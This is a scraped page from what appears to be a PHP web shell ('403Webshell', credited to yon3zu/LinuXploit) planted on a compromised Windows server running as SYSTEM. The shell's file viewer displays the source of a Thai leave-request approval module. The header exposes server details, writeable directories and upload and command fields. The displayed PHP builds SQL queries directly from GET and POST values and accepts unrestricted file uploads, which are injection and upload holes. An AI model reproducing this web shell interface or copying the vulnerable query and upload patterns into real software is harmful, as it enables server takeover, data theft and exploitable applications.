403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/prasartrat/modules123456/tkknola/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/prasartrat/modules123456/tkknola/readod2.php
<?
CheckUser($_SESSION['user_user'], $_SESSION['user_pwd']);
?>
<link href="style_web.css" rel="stylesheet" type="text/css" />
<script language="JavaScript">

//******************************************
function checkregis() {
if(document.myform.chk1.checked == false && document.myform.chk2.checked == false )   
{        
alert('กรุณาเช็คเลือก 1 หัวข้อ ');       
return false;    
}    
//********************************************
}
</script>
	<TABLE cellSpacing=0 cellPadding=0 width="100%"  height=400 border=0>
      <TBODY>
        <TR>
          <TD vAlign=top>
		  <!-- user -->
				<TABLE width="880" align=center cellSpacing=0 cellPadding=0 bgcolor=FFFFFF border=0>
				<TR>
					<TD>
		  

<?
if($_GET[op] == "tkknola_edit" AND $_GET[action] == "edit"){
	//////////////////////////////////////////// กรณีแก้ไข Database Edit
	if(CheckLevelUser($_SESSION['user_user'],$_GET[op])){
	//	CheckUser($_SESSION['user_user']);
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE username='".$_SESSION['user_user']."' ");
		$arr[user] = $db->fetch($res[user]);
		//ดึงค่า
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[tkknola] = $db->select_query("SELECT * FROM ".TB_TKKNOLA." WHERE id='".$_GET[id]."' ");
		$arr[tkknola] = $db->fetch($res[tkknola]);
		$db->closedb ();
		//require("includes/class.resizepic.php");
		//$FILE = $_FILES['FILE'];
		$FILES = $_FILES['filesw'];
		if (!$_POST[CATEGORY] ){
			echo "<script language='javascript'>" ;
			echo "alert('กรุณากรอกข้อมูลต่างๆให้ครบถ้วน')" ;
			echo "</script>" ;
			echo "<script language='javascript'>javascript:history.back()</script>";
			exit();
/*		}
		if ((( $FILE['type']!="image/gif" ) AND ($FILE['type']!="image/jpg") AND ($FILE['type']!="image/jpeg") AND ($FILE['type']!="image/pjpeg")) AND $FILE['size']){
			echo "<script language='javascript'>" ;
			echo "alert('กรุณาใช้ไฟล์นามสกุล jpg เท่านั้น')" ;
			echo "</script>" ;
			echo "<script language='javascript'>javascript:history.back()</script>";
			exit();
		}else{
			@copy ($FILE['tmp_name'] , "tkknolaicon/".$arr[tkknola][post_date].".jpg" );
			$original_image = "tkknolaicon/".$arr[tkknola][post_date].".jpg" ;
			$desired_width = _Itkknola_W ;
			$desired_height = _Itkknola_H ;
			$image = new hft_image($original_image);
			$image->resize($desired_width, $desired_height, '0');
			$image->output_resized("tkknolaicon/".$arr[tkknola][post_date].".jpg", "JPG");
*/		}

		if ($FILES[tmp_name] != '' )
{
			   unlink($arr[tkknola][full_text] ,"tkknola/".$arr[tkknola][full_text]);
                if ( $upload=copy( $FILES[tmp_name], "tkknola/".TIMESTAMP."_$FILES[name]")) {
                }else{
                        print "<center><font color='red'>เกิดความผิดพลาด ไม่สามารถ UpLoad ไฟล์ $FILES[name] ได้</font></center><br>";
                }

		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$db->update_db(TB_TKKNOLA,array(
			"category"=>"$_POST[CATEGORY]",
			"comment1"=>"$_POST[COMMENT1]",
			"namecom"=>"$_POST[NAMECOM]",
			"update_date"=>"".TIMESTAMP."",
			"enable_comment"=>"1"
		)," id=$_GET[id] ");
		$db->closedb ();

} else {
		//ทำการแก้ไขข้อมูลลงดาต้าเบส
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$db->update_db(TB_TKKNOLA,array(
			"category"=>"$_POST[CATEGORY]",
			"comment1"=>"$_POST[COMMENT1]",
			"namecom"=>"$_POST[NAMECOM]",
			"update_date"=>"".TIMESTAMP."",
			"enable_comment"=>"1"
		)," id=$_GET[id] ");
		$db->closedb ();
}
$_GET['id'] = intval($_GET['id']);
//ทำการเพิ่มข้อมูลลงดาต้าเบส
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$db->add_db(TB_TKKNOLA_COMMENT,array(
	"tkknola_id"=>"$_GET[id]",
	"detail"=>"".($_POST[DETAIL])."",
	"work"=>"$_POST[WORK]",
	"comment1"=>"$_POST[COMMENT1]",
    "laysen1"=>"$_POST[LAYSEN1]",
	"post_date"=>"".TIMESTAMP.""
));
$db->closedb ();
//ทำการเพิ่มข้อมูลลงดาต้าเบส
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$db->update_db(TB_TKK6,array(
"numpoi"=>"$_POST[NUMPOI]"
));
$db->closedb ();		
		$ProcessOutput .= "<BR><BR>";
		$ProcessOutput .= "<CENTER><IMG SRC=\"images/icon/login-welcome.gif\" BORDER=\"0\"></A><BR><BR>";
		$ProcessOutput .= "<FONT COLOR=\"#336600\"><B>ได้ทำการผ่านหนังสือ เรียบร้อยแล้ว</B></FONT><BR><BR>";
	$ProcessOutput .= "<meta http-equiv=\"refresh\" content=\"1 ;url=?name=tkknola&op=tkknola_read&category=".$arr[user][id]."\">";
		$ProcessOutput .= "</CENTER>";
		$ProcessOutput .= "<BR><BR>";
	}else{
		//กรณีไม่ผ่าน
		$ProcessOutput = $PermissionFalse ;
	}
	echo $ProcessOutput ;
}
else if($_GET[op] == "tkknola_edit"){
	//////////////////////////////////////////// กรณีแก้ไข Form
	if(CheckLevelUser($_SESSION['user_user'], $_GET[op])){
		//ดึงค่า
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[tkknola] = $db->select_query("SELECT * FROM ".TB_TKKNOLA." WHERE id='".$_GET[id]."' ");
		$arr[tkknola] = $db->fetch($res[tkknola]);
		$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE id='".$arr[tkknola][cat]."'  ");
		$arr[user] = $db->fetch($res[user]);
		$db->closedb ();

		//อ่านค่าจากไฟล์ Text เพื่อแก้ไข
		$FiletkknolaTopic = "tkknoladata/".$arr[tkknola][post_date].".txt";
		$file_open = @fopen($FiletkknolaTopic, "r");
		$TextContent = @fread ($file_open, @filesize($FiletkknolaTopic));
		@fclose ($file_open);
		$TextContent = stripslashes($TextContent);
//ดึงค่า
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[yearla] = $db->select_query("SELECT * FROM ".TB_YEARLA_CAT." ORDER BY id ");
		$arr[yearla] = $db->fetch($res[yearla]);	
		?>

<FORM NAME="myform" METHOD=POST ACTION="?name=tkknola&file=readod&op=tkknola_edit&action=edit&id=<?=$_GET[id];?>" enctype="multipart/form-data" onSubmit="return checkregis()">
<FORM NAME="form2" METHOD=POST ACTION="?name=tkknola&file=comment&id=<?=$_GET[id];?>">
<?
$_GET['id'] = intval($_GET['id']);
//แสดงข่าวสาร/ประชาสัมพันธ์ 
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$res[tkknola] = $db->select_query("SELECT * FROM ".TB_TKKNOLA." WHERE id='$_GET[id]' ");
$arr[tkknola] = $db->fetch($res[tkknola]);
$db->closedb ();
if(!$arr[tkknola][id]){
	echo "<BR><BR><BR><BR><CENTER><IMG SRC=\"images/icon/notview.gif\" BORDER=\"0\" ><BR><BR><B>ไม่มีเรื่อง</B></CENTER><BR><BR><BR><BR>";
}else{
	$FiletkknolaTopic = "tkknoladata/".$arr[tkknola][post_date].".txt";
	$file_open = @fopen($FiletkknolaTopic, "r");
	$content = @fread ($file_open, @filesize($FiletkknolaTopic));
	$Detail = stripslashes(FixQuotes($content));
	//ทำการเพิ่มจำนวนคนเข้าชม
	$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
	$q[Pageview] = "UPDATE ".TB_TKKNOLA." SET pageview = pageview+1 WHERE id = '".$_GET[id]."' ";
	$sql[Pageview] = mysql_query ( $q[Pageview] ) or sql_error ( "db-query",mysql_error() );

	$db->closedb ();
?>

	<table width="850" border="0" cellspacing="0" cellpadding="0">
  <tr> 
   <td width="850"align="right">
	<INPUT TYPE="hidden" NAME="CATEGORY" VALUE="<?=$arr[tkknola][cat];?>" readonly style=\"color: #FF0000">
   <BR><B>ที่ &nbsp;&nbsp;<?echo thainumDigit($arr[tkknola][address]);?></B>
   </td>
   </tr>
   <tr>
   <td>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<B>วันที่&nbsp;&nbsp;<?echo thainumDigit("".thai_date_fullmonth(strtotime($arr[tkknola][date]))."" );?>
	<BR>
 <B>เรื่อง&nbsp;&nbsp;<?=$arr[tkknola][topic];?></B>
	<BR>
 <B>เรียน&nbsp;&nbsp; สาธารณสุขอำเภอ<?=WEB_AMP;?></B>
<BR>
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<B>ตามที่ข้าพเจ้า&nbsp;&nbsp;<?=$arr[tkknola][name];?></B> <B>ตำแหน่ง&nbsp;&nbsp;<?=$arr[tkknola][position];?> <?=$arr[tkknola][kom];?></B>  <B>สังกัด <?=WEB_TITLE;?></B><B>ได้รับอนุญาตให้ลา&nbsp;&nbsp;<?=$arr[tkknola][la];?> 
<B>ตั้งแต่วันที่&nbsp;&nbsp;<?echo thainumDigit("".thai_date_fullmonth(strtotime($arr[tkknola][date1]))."" );?></B>    <B>ถึงวันที่&nbsp;&nbsp;<?echo thainumDigit("".thai_date_fullmonth(strtotime($arr[tkknola][date2]))."" );?></B> <B>รวม&nbsp;&nbsp;<?echo thainumDigit($arr[tkknola][numpoi]);?>&nbsp;&nbsp; วัน นั้น</B>
<BR>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<B>เนื่องจาก&nbsp;&nbsp;<?=$arr[tkknola][reason];?></B> จึงขอยกเลิกวันลา&nbsp;&nbsp;<?=$arr[tkknola][la];?> 
<B>ตั้งแต่วันที่&nbsp;&nbsp;<?echo thainumDigit("".thai_date_fullmonth(strtotime($arr[tkknola][date3]))."" );?></B>    <B>ถึงวันที่&nbsp;&nbsp;<?echo thainumDigit("".thai_date_fullmonth(strtotime($arr[tkknola][date4]))."" );?></B> <B>จำนวน&nbsp;&nbsp;<?echo thainumDigit($arr[tkknola][tel]);?>&nbsp;&nbsp; วัน </B>

</td>
  </tr>


<tr>
<td align="center">
<IMG SRC="laysen/<?=$arr[tkknola][cat];?>.jpg">
	<BR>
<?
	//ทำการเพิ่มจำนวนคนเข้าชม
	$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
	$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE id='".$arr[tkknola][cat]."'  ");
	$arr[user] = $db->fetch($res[user]);
?>
	(<?=$arr[user][category_name];?>)
	<BR>
	<?=$arr[user][posit];?>
<?
		if  (($arr[user][work]=='2')OR($arr[user][work]=='3')OR($arr[user][level]=='3')){  
?>
<?=WEB_AMP;?>
<?}?>
</td>
  </tr>
<tr>
<td>

<?
					 if($arr[tkknola][full_text]){ 	  
?>
<br><FONT COLOR="#990000">เอกสารแนบ</FONT></B> [<a href="data/tkknola/<?=$arr[tkknola][full_text];?>" target="_blank"><b>ไฟล์ที่ 1</b></A>]  
		<BR>  
		  <? } else {echo "";}?>
</td>
  </tr>
<tr>

    <td valign="top"><TABLE cellSpacing=0 cellPadding=0 width=400 border=0 align="center" >

<?
if($arr[tkknola][enable_comment]){
//	CheckUser($_SESSION['user_user']);
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE username='".$_SESSION['user_user']."' ");
		$arr[user] = $db->fetch($res[user]);

	
	//Check Comment
	$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
	$res[comment] = $db->select_query("SELECT * FROM ".TB_TKKNOLA_COMMENT." WHERE tkknola_id='".$arr[tkknola][id]."' ORDER BY id ");
	$count=0;
	while($arr[comment] = $db->fetch($res[comment])){
	$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE id='".$arr[comment][laysen1]."'  ");
	$arr[user] = $db->fetch($res[user]);
		$count  ++;
?>		
			<TR>
			<TD align="center">
			<?
					 if($arr[comment][comment3]){ 	  
			?>
				<?=($arr[comment][comment3]);?>
				<br>
			<? }?>
			<?
					 if($arr[comment][detail]){ 	  
			?>
				<?echo thainumDigit($arr[comment][detail]);?>
			<br>
<? }?>
			<IMG SRC="laysen/<?=($arr[comment][laysen1]);?>.jpg">
			<br>
				(<?=($arr[user][category_name]);?>)
				<BR>
<?
					 if($arr[comment][work]==''){ 	  
?>

				<?=($arr[user][posit]);?>
<BR>
<? }?>
<?
					 if($arr[comment][work]=='1'){ 	  
?>

				<?=($arr[user][posit]);?>ปฏิบัติราชการแทน<br>สาธารณสุขอำเภอ<?=WEB_AMP;?>
<BR>
<? }?>
<?
					 if($arr[comment][work]=='2'){ 	  
?>
	
				<?=($arr[user][posit]);?> รักษาราชการแทน<br>สาธารณสุขอำเภอ<?=WEB_AMP;?>
				<BR>
<? }?>
<?
					 if($arr[comment][work]=='3'){ 	  
?>
	
				<?=($arr[user][posit]);?><?=WEB_AMP;?>
				<BR>
<? }?>
				<font color=blue><?echo thainumDigit("".ThaiTimeConvert($arr[tkk1][update_date],'','')." " );?></font>

			</TD>
			</TR>
			
<?
}
?>
			</TABLE>
<?
	}
	$db->closedb ();
?>
		<!-- Enable Comment -->
<? } ?>
 <table align="center" width="450" border="0" cellpadding="0" cellspacing="0" >
    <tr> 
<td  valign="top" align="left"><strong> 
	<font color="#FF0000" ><b>คำสั่ง</b></font><hr>
	<table width="450" border="0" cellspacing="0" cellpadding="0">
                        <tr>
                          <td valign="top">
   <INPUT TYPE="checkbox" NAME="COMMENT1" id="chk1" VALUE="อนุญาต" >
   <b> อนุญาต </b> 
<INPUT TYPE="checkbox" NAME="COMMENT1" id="chk2" VALUE="ไม่อนุญาต" >
<b>ไม่อนุญาต </b>
							
						</td>
                        </tr>
                      </table>
  </td></tr>
	  <tr> 
      <td colspan="4"><div align="center">
<textarea cols="60" id="DETAIL" rows="3" class="ckeditor"  name="DETAIL" ></textarea>

<?
//	CheckUser($_SESSION['user_user']);
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE username='".$_SESSION['user_user']."' ");
		$arr[user] = $db->fetch($res[user]);
?>
	

	<INPUT TYPE="hidden" NAME="LAYSEN1" VALUE="<?=$arr[user][id];?>" readonly style=\"color: #FF0000">	
	<INPUT TYPE="hidden" NAME="NAMECOM" VALUE="<?=$arr[user][category_name];?>" readonly style=\"color: #FF0000">
	<INPUT TYPE="hidden" NAME="WORK" VALUE="2" readonly style=\"color: #FF0000">
	<INPUT TYPE="submit" value=" บันทึกเอกสาร" name="submit">
	</div></td>
    </tr>
  </table>

</td>
  </tr>
</table>
					</TD>
				</TR>				
			</TABLE>

</FORM>
<?
	}else{
		//กรณีไม่ผ่าน
		$ProcessOutput = $PermissionFalse ;
	}
	echo $ProcessOutput ;
}
else if($_GET[op] == "tkknola_del" AND $_GET[action] == "multidel"){
	//////////////////////////////////////////// กรณีลบ Multi
	if(CheckLevel($_SESSION['user_user'],$_GET[op])){
		while(list($key, $value) = each ($_POST['list'])){
			$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
			$res[tkknola] = $db->select_query("SELECT * FROM ".TB_TKKNOLA." WHERE id='".$value."' ");
			$arr[tkknola] = $db->fetch($res[tkknola]);
			$db->del(TB_TKKNOLA," id='".$value."' "); 

			@unlink("tkknoladata/".$arr[tkknola][post_date].".txt");
			@unlink("tkknolaicon/".$arr[tkknola][post_date].".jpg");
			@unlink("tkknola/".$arr[tkknola][full_text]);
			$db->closedb ();
		}
		$ProcessOutput .= "<BR><BR>";
		$ProcessOutput .= "<CENTER><A HREF=\"?name=user&file=main\"><IMG SRC=\"images/icon/login-welcome.gif\" BORDER=\"0\"></A><BR><BR>";
		$ProcessOutput .= "<FONT COLOR=\"#336600\"><B>ได้ทำการลบเรียบร้อยแล้ว</B></FONT><BR><BR>";
		$ProcessOutput .= "<A HREF=\"?name=user&file=tkknola\"><B>กลับหน้า จัดการ</B></A>";
		$ProcessOutput .= "</CENTER>";
		$ProcessOutput .= "<BR><BR>";
	}else{
		//กรณีไม่ผ่าน
		$ProcessOutput = $PermissionFalse ;
	}
	echo $ProcessOutput ;
}
else if($_GET[op] == "tkknola_del"){
	//////////////////////////////////////////// กรณีลบ Form
	if(CheckLevel($_SESSION['user_user'],$_GET[op])){
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
//		$db->del(TB_TKKNOLA," id='".$_GET[id]."' ");
			$res[tkknola] = $db->select_query("SELECT * FROM ".TB_TKKNOLA." WHERE id='".$_GET[id]."' ");
			$arr[tkknola] = $db->fetch($res[tkknola]);
			$db->del(TB_TKKNOLA," id='".$_GET[id]."' "); 

			@unlink("tkknoladata/".$arr[tkknola][post_date].".txt");
			@unlink("tkknolaicon/".$arr[tkknola][post_date].".jpg");
			@unlink("tkknola/".$arr[tkknola][full_text]);
		$db->closedb ();
		$ProcessOutput .= "<BR><BR>";
		$ProcessOutput .= "<CENTER><A HREF=\"?name=admin&file=main\"><IMG SRC=\"images/icon/login-welcome.gif\" BORDER=\"0\"></A><BR><BR>";
		$ProcessOutput .= "<FONT COLOR=\"#336600\"><B>ได้ทำการลบเรียบร้อยแล้ว</B></FONT><BR><BR>";
		$ProcessOutput .= "<A HREF=\"?name=admin&file=tkknola\"><B>กลับหน้า จัดการขุมความรู้</B></A>";
		$ProcessOutput .= "</CENTER>";
		$ProcessOutput .= "<BR><BR>";
	}else{
		//กรณีไม่ผ่าน
		$ProcessOutput = $PermissionFalse ;
	}
	echo $ProcessOutput ;
}
?>
				
		  </TD>
        </TR>
      </TBODY>
    </TABLE>

Youez - 2016 - github.com/yon3zu
LinuXploit